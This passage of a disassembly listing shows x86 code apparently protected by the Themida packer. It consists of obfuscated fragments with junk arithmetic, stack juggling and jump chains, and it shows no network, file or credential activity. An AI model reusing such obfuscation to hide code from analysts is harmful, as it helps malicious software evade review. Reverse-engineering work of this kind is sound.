; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_584D0E:				; CODE XREF: Themida_:00587B19j
		add	edi, 4
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		pop	esp
		push	ebx
		jmp	loc_588E56
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584D27:				; CODE XREF: sub_585452+53F9j
		dec	eax
		xchg	eax, esi
		push	edx
		mov	edx, 58F703A9h
		dec	edx
		or	edx, 78082D05h
		xor	edx, 767C629Ah
		sub	esi, edx
		pop	edx
		mov	ebx, esi
		mov	esi, [esp-1Ah+arg_16]
		add	esp, 4
		add	ebx, 3144B9Bh
		add	ebx, edi
		sub	ebx, 3144B9Bh
		sub	esp, 4
		jmp	loc_585E44
; ---------------------------------------------------------------------------


loc_584D60:				; CODE XREF: sub_585452+32DBj
		and	ecx, ebx
		pop	ebx
		jmp	loc_5877E9
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		push	edx
		mov	edx, 4
		sub	esi, 4A7A77F0h
		add	esi, edx
		add	esi, 4A7A77F0h
		pop	edx
		jmp	loc_5866E8
; ---------------------------------------------------------------------------


loc_584D91:				; CODE XREF: Themida_:005870C6j
		not	bh
		xor	bh, 0E3h
		push	dx
		mov	dl, 77h
		sub	bh, dl
		jmp	loc_58C2A3
; ---------------------------------------------------------------------------


loc_584DA1:				; CODE XREF: Themida_:0058F501j
		push	esp
		jmp	loc_589691
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_584DA7:				; CODE XREF: sub_58FA66-AEF9j
		sub	eax, 348B20A6h
		xor	esi, eax
		jmp	loc_58D4A2
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584DB3:				; CODE XREF: sub_585452+76C8j
		add	esi, eax
		jmp	loc_58B3AF
; ---------------------------------------------------------------------------


loc_584DBA:				; CODE XREF: sub_585452+2AECj
		push	eax
		jmp	loc_588910
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		lodsd
		add	eax, 6D715E9h
		add	eax, 12D1067h
		add	eax, 75A18BBh
		sub	eax, ebx
		push	edx
		mov	edx, 75A18BBh
		sub	eax, 2DC7366Fh
		sub	eax, edx
		add	eax, 2DC7366Fh
		mov	edx, [esp]
		jmp	loc_587CC2
; ---------------------------------------------------------------------------


loc_584DEC:				; CODE XREF: Themida_:0058E9CDj
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_58F25C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584E03:				; CODE XREF: sub_585452+7D19j
		pop	ebx
		add	esp, 4
		jmp	loc_58BC61
; ---------------------------------------------------------------------------


loc_584E0F:				; CODE XREF: sub_585452-59Dj
		inc	cl
		shr	cl, 5
		sub	cl, 0FCh
		sub	ah, cl
		pop	ecx
		add	ah, 94h
		sub	ch, ah
		pop	eax
		jmp	loc_5894FC
; ---------------------------------------------------------------------------


loc_584E25:				; CODE XREF: sub_585452+3CC4j
		pop	esp
		mov	[esp-2Eh+arg_28+2], edx
		mov	edx, 28h
		sub	edx, 5A216727h
		sub	edx, 16015B31h
		add	edx, edi
		add	edx, 16015B31h
		add	edx, 5A216727h
		push	ebx
		mov	ebx, 0
		add	ebx, 1C465D99h
		add	ebx, edx
		sub	ebx, 1C465D99h
		push	dword ptr [ebx]
		sub	dword ptr [esp+0], 42F7481Ah
		pop	eax
		jmp	loc_58A42B
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_584E6B:				; CODE XREF: Themida_:0058FA0Ej
		xor	bl, al
		jmp	loc_58694B
; ---------------------------------------------------------------------------


loc_584E72:				; CODE XREF: Themida_:00588997j
		add	edx, ebp
		jmp	loc_5894E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58999B


loc_584E79:				; CODE XREF: sub_58999B+611Bj
		mov	[esp+0], dx
		jmp	loc_58EE8D
; END OF FUNCTION CHUNK	FOR sub_58999B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584E82:				; CODE XREF: sub_585452+6946j
		pop	ecx
		push	[esp-2Eh+arg_28+2]
		pop	ebx
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp-32h+arg_2C+2]
		pop	esp
		bswap	eax
		push	ecx
		mov	ecx, esp
		push	15D5h
		mov	[esp-2Eh+arg_28+2], esi
		mov	esi, 624D0F60h
		jmp	loc_58A850
; ---------------------------------------------------------------------------


loc_584EAD:				; CODE XREF: sub_585452+163Cj
		mov	ah, 5Bh
		add	ah, dl
		pop	edx
		push	ecx
		mov	cl, 0B3h
		jmp	loc_584E0F
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589967


loc_584EBA:				; CODE XREF: sub_589967-17D8j
		mov	ebx, 5B7F5411h
		or	ebx, 19040BFEh
		push	esi
		mov	esi, 27047B16h
		and	ebx, esi
		jmp	loc_587360
; END OF FUNCTION CHUNK	FOR sub_589967
; ---------------------------------------------------------------------------


loc_584ED2:				; CODE XREF: Themida_:0058FF15j
		mov	[esp], eax
		jmp	loc_5856F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584EDA:				; CODE XREF: sub_585452+8FE3j
		pop	edx
		add	esi, ecx
		add	esi, 46A118C9h
		mov	ecx, [esp-32h+arg_2C+2]
		add	esp, 4
		add	esi, 4
		push	esi
		push	[esp-32h+arg_32]
		mov	esi, [esp-2Eh+arg_28+2]
		jmp	loc_58E6DB
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_584EF9:				; CODE XREF: Themida_:005853AEj
		push	edi
		jmp	loc_586A49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584EFF:				; CODE XREF: sub_585452-9D6j
		sub	cl, 0E7h
		sub	dh, cl
		pop	ecx
		add	al, 0EEh
		jmp	loc_58B4CF
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_584F0C:				; CODE XREF: sub_58EFBD-4705j
		pop	eax
		jmp	loc_58BD3B
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58905F


loc_584F12:				; CODE XREF: sub_58905F+B2Bj
		and	esi, 3837C06h
		push	759Bh
		mov	[esp+10h+var_10], ebp
		mov	ebp, 1ADE70F1h
		add	ebp, 3A7F6770h
		jmp	loc_58F918
; END OF FUNCTION CHUNK	FOR sub_58905F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589C10


loc_584F30:				; CODE XREF: sub_589C10-5A71j
		xor	[esp-4+arg_0], edx
		jmp	loc_5890BC
; END OF FUNCTION CHUNK	FOR sub_589C10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E931


loc_584F38:				; CODE XREF: sub_58E931-5975j
		not	ebp
		xchg	ebp, edi
		jmp	loc_58589E
; END OF FUNCTION CHUNK	FOR sub_58E931
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584F41:				; CODE XREF: sub_585452+96EAj
		push	small word ptr [eax]
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_584F49:				; CODE XREF: sub_58EFBD-6702j
		mov	ecx, eax
		pop	eax
		inc	ecx
		and	ecx, 5C4D150Dh
		jmp	loc_58A758
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------


loc_584F58:				; CODE XREF: Themida_:0058A7B2j
		pop	eax
		jmp	loc_58FC24
; ---------------------------------------------------------------------------


loc_584F5E:				; CODE XREF: Themida_:0058B603j
		add	edx, esi
		jmp	loc_585EF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584F65:				; CODE XREF: sub_585452+3E99j
		push	[esp-0Eh+arg_E]
		jmp	loc_58AC7B
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 6851240Ch, 4A1Ah, 0FFF69CE9h, 24248BFFh, 0FFEC9BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_584F85:				; CODE XREF: Themida_:00586A85j
		pop	edx
		jmp	loc_58BBAB
; ---------------------------------------------------------------------------


loc_584F8B:				; CODE XREF: Themida_:00587AB7j
		sub	cl, dl
		pop	edx
		sub	al, 8Eh
		add	al, cl
		add	al, 8Eh
		pop	ecx
		sub	al, bl
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 71h
		jmp	loc_585BCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584FA4:				; CODE XREF: sub_585452+9F89j
		push	esp
		pop	edi
		jmp	loc_586B83
; END OF FUNCTION CHUNK	FOR sub_585452

; =============== S U B	R O U T	I N E =======================================



sub_584FAB	proc near		; CODE XREF: sub_585452+474Cj
		push	ebx
		jmp	loc_5855D6
sub_584FAB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584FB1:				; CODE XREF: sub_585452+7EDCj
		xor	eax, ecx
		jmp	loc_583FC4
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_584FB8:				; CODE XREF: Themida_:00587778j
		sub	ebx, edi
		add	ebx, 78B9543Dh
		push	eax
		mov	eax, 448D4493h
		jmp	loc_588C9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584FCB:				; CODE XREF: sub_585452+43F8j
		push	edx
		mov	edx, 53172A1h
		jmp	loc_585234
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_584FD6:				; CODE XREF: Themida_:0058C35Bj
		sub	bl, ah
		pop	ax
		jmp	loc_58F286
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DA2E


loc_584FDF:				; CODE XREF: sub_58DA2E-4070j
		mov	dl, bh
		jmp	loc_58FBAD
; END OF FUNCTION CHUNK	FOR sub_58DA2E
; ---------------------------------------------------------------------------


loc_584FE6:				; CODE XREF: Themida_:00587188j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		jmp	loc_58F99D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_585006:				; CODE XREF: sub_585452+75ABj
		xor	[esp-6+arg_0+2], eax
		xor	eax, [esp-6+arg_0+2]
		mov	esp, [esp-6+arg_0+2]
		push	ebx
		push	ecx
		push	eax
		mov	ah, dl
		jmp	sub_58EF8B
; END OF FUNCTION CHUNK	FOR sub_585452

; =============== S U B	R O U T	I N E =======================================



sub_585019	proc near		; CODE XREF: sub_58BCA7-7A4Fj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005849B0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00586281 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058AD39 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058E782 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058F7F3 SIZE 0000000C BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		pop	edx
		push	ebp
		jmp	loc_58F7F3
sub_585019	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58502A:				; CODE XREF: sub_585452+768Ej
		add	ecx, edx
		pop	edx
		xor	ecx, [esp+2+var_4+2]
		xor	[esp+2+var_4+2], ecx
		xor	ecx, [esp+2+var_4+2]
		pop	esp


loc_585037:				; CODE XREF: sub_585452+3CCj
		push	929h
		jmp	loc_58621E
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58405E


loc_585041:				; CODE XREF: sub_58405E+8583j
		pop	eax
		jmp	loc_58F08B
; END OF FUNCTION CHUNK	FOR sub_58405E
; ---------------------------------------------------------------------------


loc_585047:				; CODE XREF: Themida_:0058884Fj
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		push	edi
		jmp	loc_58F6C8
; ---------------------------------------------------------------------------


loc_585054:				; CODE XREF: Themida_:00583DDEj
		sub	ebp, 1BFE6545h
		pop	ebx
		add	ebp, ecx
		jmp	loc_58D685
; ---------------------------------------------------------------------------


loc_585062:				; CODE XREF: Themida_:0058A920j
		sub	al, 14h
		jmp	loc_58F9F3
; ---------------------------------------------------------------------------


loc_585069:				; CODE XREF: Themida_:0058802Fj
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], dx
		mov	dl, 98h
		jmp	loc_58BD7E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A5A3


loc_585078:				; CODE XREF: sub_58A5A3+3316j
		mov	[esp+4+var_4], edx
		push	7FCh
		mov	[esp+8+var_8], esp
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, 4
		sub	[esp+0Ch+var_8], 2D10450Bh
		add	[esp+0Ch+var_8], ebp
		add	[esp+0Ch+var_8], 2D10450Bh
		pop	ebp
		push	[esp+8+var_8]
		pop	edx
		add	esp, 4
		jmp	loc_5871E9
; END OF FUNCTION CHUNK	FOR sub_58A5A3
; ---------------------------------------------------------------------------


loc_5850AF:				; CODE XREF: Themida_:00587D68j
		mov	[esp], esi
		mov	esi, 21F56E82h
		sub	edi, esi
		pop	esi
		not	edi
		inc	edi
		sub	edi, 0FFFFFFFFh
		dec	edi
		add	edi, 43A6FD8Ch
		jmp	loc_58FE53
; ---------------------------------------------------------------------------


loc_5850CF:				; CODE XREF: Themida_:0058F5A2j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_58FBC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5850DD:				; CODE XREF: sub_585452+79Dj
		add	edx, 262F24D9h
		mov	ebx, edx
		jmp	loc_58AB58
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AB18


loc_5850EA:				; CODE XREF: sub_58AB18-13D8j
		sub	eax, ebp
		pop	ebp
		xor	eax, [esp-4+arg_0]
		jmp	loc_58DA53
; END OF FUNCTION CHUNK	FOR sub_58AB18
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	4D42h
		mov	[esp], ebp
		push	esp
		jmp	loc_58926E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E931


loc_585107:				; CODE XREF: sub_58E931-AC52j
		mov	edx, 6D374C8h
		jmp	loc_58CC2E
; END OF FUNCTION CHUNK	FOR sub_58E931
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_585111:				; CODE XREF: sub_58FA66+24j
		push	dword ptr [esp+0]
		jmp	loc_58A662
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------


loc_585119:				; CODE XREF: Themida_:0058FEE8j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_584A5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_585130:				; CODE XREF: sub_585452+2DC6j
		mov	dx, word ptr [esp+2+var_4+2]
		jmp	loc_586F74
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_585139:				; CODE XREF: Themida_:00589424j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		push	ecx
		mov	ecx, 73D02319h
		or	ecx, 584E6DA0h
		jmp	loc_583DA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58517F:				; CODE XREF: sub_585452+24F5j
		dec	al
		and	al, 0CDh
		sub	al, 31h
		mov	dh, al
		mov	eax, [esp+2+var_4+2]
		push	edi
		jmp	loc_58BEC9
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_585190:				; CODE XREF: Themida_:0058BDEEj
		pop	edx
		push	49AFh
		jmp	loc_586390
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58519B:				; CODE XREF: sub_585452+17Fj
		mov	word ptr [esp+6+var_8+2], cx
		movzx	cx, al
		jmp	loc_58B59D
; ---------------------------------------------------------------------------


loc_5851A8:				; CODE XREF: sub_585452+946j
		push	[esp+6+var_8+2]
		pop	ecx
		jmp	loc_58E2DC
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_5851B1:				; CODE XREF: Themida_:0058AF86j
		add	[esp+4], ebx
		sub	dword ptr [esp+4], 6A9132BCh
		pop	ebx
		jmp	loc_5848B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DEA3


loc_5851C3:				; CODE XREF: sub_58DEA3-7013j
		push	ax
		push	ebx
		mov	bh, 5Fh
		or	bh, 0D7h
		neg	bh
		neg	bh
		neg	bh
		sub	bh, 0F2h
		mov	ah, 0A5h
		add	ah, bh
		mov	ebx, [esp+0]
		jmp	loc_586B01
; END OF FUNCTION CHUNK	FOR sub_58DEA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58960C


loc_5851E0:				; CODE XREF: sub_58960C+2B9Dj
		mov	ebp, [esp+4+var_4]
		jmp	loc_588854
; END OF FUNCTION CHUNK	FOR sub_58960C
; ---------------------------------------------------------------------------


loc_5851E8:				; CODE XREF: Themida_:0058952Aj
		push	ecx
		mov	cl, 2Bh
		shr	cl, 3
		push	ebx
		mov	bh, 0FFh
		sub	cl, bh
		pop	ebx
		jmp	loc_58F3FE
; ---------------------------------------------------------------------------


loc_5851F9:				; CODE XREF: Themida_:0058E5C5j
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_586B55
; ---------------------------------------------------------------------------


loc_585210:				; CODE XREF: Themida_:00588E5Ej
		and	ebp, 5DF50325h
		push	edx
		mov	edx, 12F718AAh
		shl	edx, 8
		jmp	loc_585E07
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp],	cl
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_585234:				; CODE XREF: sub_585452-481j
		dec	edx
		jmp	loc_588A83
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_586A34


loc_58523A:				; CODE XREF: sub_586A34+10j
		pop	ebx
		add	eax, 75E0752h
		jmp	loc_58C706
; END OF FUNCTION CHUNK	FOR sub_586A34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_585245:				; CODE XREF: sub_585452+A254j
		add	esp, 4
		add	edi, 4
		sub	edi, 2
		xchg	edi, [esp-0Ah+arg_4+2]
		mov	esp, [esp-0Ah+arg_4+2]
		mov	word ptr [esp-0Ah+arg_4+2], dx
		push	ax
		pushf
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_585263:				; CODE XREF: sub_58FA66-25C1j
		mov	esi, [esp+4+var_4]
		add	esp, 4
		sub	ecx, 4
		xor	ecx, [esp+0]
		xor	[esp+0], ecx
		xor	ecx, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], ecx
		push	eax
		jmp	loc_58F674
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------


loc_585284:				; CODE XREF: Themida_:0058BD36j
		add	ebx, ecx
		pop	ecx
		push	43B0h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		push	5951h
		mov	[esp], ebp
		jmp	loc_585AB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5852A3:				; CODE XREF: sub_585452+3EE4j
		push	eax
		jmp	loc_5855B6
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_5852A9:				; CODE XREF: Themida_:00586D0Fj
		mov	ecx, 4
		jmp	loc_58AB73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5852B3:				; CODE XREF: sub_585452+25D7j
		push	ecx
		jmp	loc_5874D0
; ---------------------------------------------------------------------------


loc_5852B9:				; CODE XREF: sub_585452+6BE5j
		dec	eax
		jmp	loc_58AC8A
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_5852BF:				; CODE XREF: Themida_:0058C4CCj
		push	ebx
		jmp	loc_589547
; ---------------------------------------------------------------------------


loc_5852C5:				; CODE XREF: Themida_:0058CB51j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		mov	ebp, 37A162A5h
		add	ebp, 38D706E1h
		inc	ebp
		not	ebp
		jmp	loc_586334
; ---------------------------------------------------------------------------


loc_5852F1:				; CODE XREF: Themida_:0058E70Fj
		neg	cx
		shl	cx, 4
		inc	cx
		inc	cx
		push	si
		mov	si, 56E8h
		xor	cx, si
		pop	si
		add	cx, 4D77h
		jmp	loc_58F686
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_585311:				; CODE XREF: sub_585452+3BA5j
		pop	eax
		sub	ebx, 7C1A56B8h
		push	ecx
		mov	ecx, 0
		jmp	loc_58C1D5
; ---------------------------------------------------------------------------


loc_585323:				; CODE XREF: sub_585452+5F4Dj
		pop	ebx
		xor	ch, 7
		sub	al, ch
		pop	ecx
		sub	al, bl
		push	ebx
		mov	bl, 8Eh
		neg	bl
		shl	bl, 5
		add	bl, 0B1h
		or	bl, 5Ch
		xor	bl, 45h
		add	al, bl
		pop	ebx
		push	ecx
		mov	ch, 7Ch
		push	small 7AFCh
		mov	word ptr [esp+2+var_4+2], dx
		jmp	loc_5892DB
; END OF FUNCTION CHUNK	FOR sub_585452

; =============== S U B	R O U T	I N E =======================================



sub_585350	proc near		; CODE XREF: sub_585452+5342j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005864A6 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058D0E6 SIZE 00000027 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	eax
		sub	esp, 4
		jmp	loc_58D0E6
sub_585350	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58535F:				; CODE XREF: sub_585452+4752j
		mov	eax, 288A1660h
		jmp	loc_5872F9
; ---------------------------------------------------------------------------


loc_585369:				; CODE XREF: sub_585452+2670j
		mov	ebx, ecx
		pop	ecx
		sub	edx, ebx
		jmp	loc_58F5E1
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_585373:				; CODE XREF: sub_58FA66-4FC3j
		xor	[esp+4+var_4], ecx
		xor	ecx, [esp+4+var_4]
		xor	[esp+4+var_4], ecx
		jmp	loc_586E95
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------


loc_585381:				; CODE XREF: Themida_:005867F0j
		pop	ebx
		jmp	loc_587F90
; ---------------------------------------------------------------------------


loc_585387:				; CODE XREF: Themida_:005843A7j
		add	ebp, 4
		push	edi
		mov	edi, 2
		add	ebp, edi
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_58D8BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5853A1:				; CODE XREF: sub_585452+99DBj
		sub	ebx, 5DC60643h
		jmp	loc_58D019
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_5853AC:				; CODE XREF: Themida_:00586AFCj
		mov	ebx, esp
		jmp	loc_584EF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587E93


loc_5853B3:				; CODE XREF: sub_587E93+3871j
		shl	bl, 4
		xor	bl, 1Eh
		xor	cl, bl
		pop	ebx
		add	bl, cl
		pop	ecx
		jmp	near ptr unk_583F35
; END OF FUNCTION CHUNK	FOR sub_587E93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5853C4:				; CODE XREF: sub_585452+5269j
		mov	esi, edx
		pop	edx
		sub	esp, 4
		jmp	loc_58E4D3
; ---------------------------------------------------------------------------


loc_5853CF:				; CODE XREF: sub_585452+669Aj
		mov	ebx, [esp+0]
		push	esi
		jmp	loc_58B86F
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C230


loc_5853D8:				; CODE XREF: sub_58C230-3A19j
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_583F60
; END OF FUNCTION CHUNK	FOR sub_58C230
; ---------------------------------------------------------------------------


loc_5853E6:				; CODE XREF: Themida_:0058BA08j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 38583BBFh
		not	edi
		add	edi, 49D077D8h
		sub	eax, edi
		pop	edi
		push	edx
		push	esi
		mov	esi, 5C6C52C8h
		dec	esi
		add	esi, 0C1EE0C7Ah
		mov	edx, esi
		jmp	loc_58C384
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58622C


loc_585414:				; CODE XREF: sub_58622C+82F6j
		xor	edi, edx
		pop	edx
		sub	esp, 4
		mov	[esp+0], ebp
		mov	ebp, 6505698Dh
		and	ebp, 7EFF33B6h
		dec	ebp
		jmp	loc_58CA81
; END OF FUNCTION CHUNK	FOR sub_58622C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_585431:				; CODE XREF: sub_585452+317j
		add	edx, 4
		xchg	edx, [esp+2+var_4+2]
		pop	esp
		push	ebx
		mov	ebx, esp
		jmp	loc_58B798
; ---------------------------------------------------------------------------


loc_585443:				; CODE XREF: sub_585452+104Fj
		not	edx
		push	ebx
		mov	ebx, 6B555140h
		neg	ebx
		jmp	loc_58A8BD
; END OF FUNCTION CHUNK	FOR sub_585452

; =============== S U B	R O U T	I N E =======================================



sub_585452	proc near		; CODE XREF: sub_5B5756-284B4j

var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_E		= dword	ptr  12h
arg_12		= dword	ptr  16h
arg_16		= dword	ptr  1Ah
arg_1A		= dword	ptr  1Eh
arg_1E		= dword	ptr  22h
arg_24		= dword	ptr  28h
arg_28		= dword	ptr  2Ch
arg_2C		= dword	ptr  30h
arg_32		= dword	ptr  36h
arg_36		= dword	ptr  3Ah

; FUNCTION CHUNK AT 00583C9F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00583CB7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00583CF6 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00583D55 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00583D89 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00583DE3 SIZE 0000005A BYTES
; FUNCTION CHUNK AT 00583EB3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00583FC4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00583FE2 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00584024 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00584064 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005840CB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00584103 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0058412D SIZE 0000001E BYTES
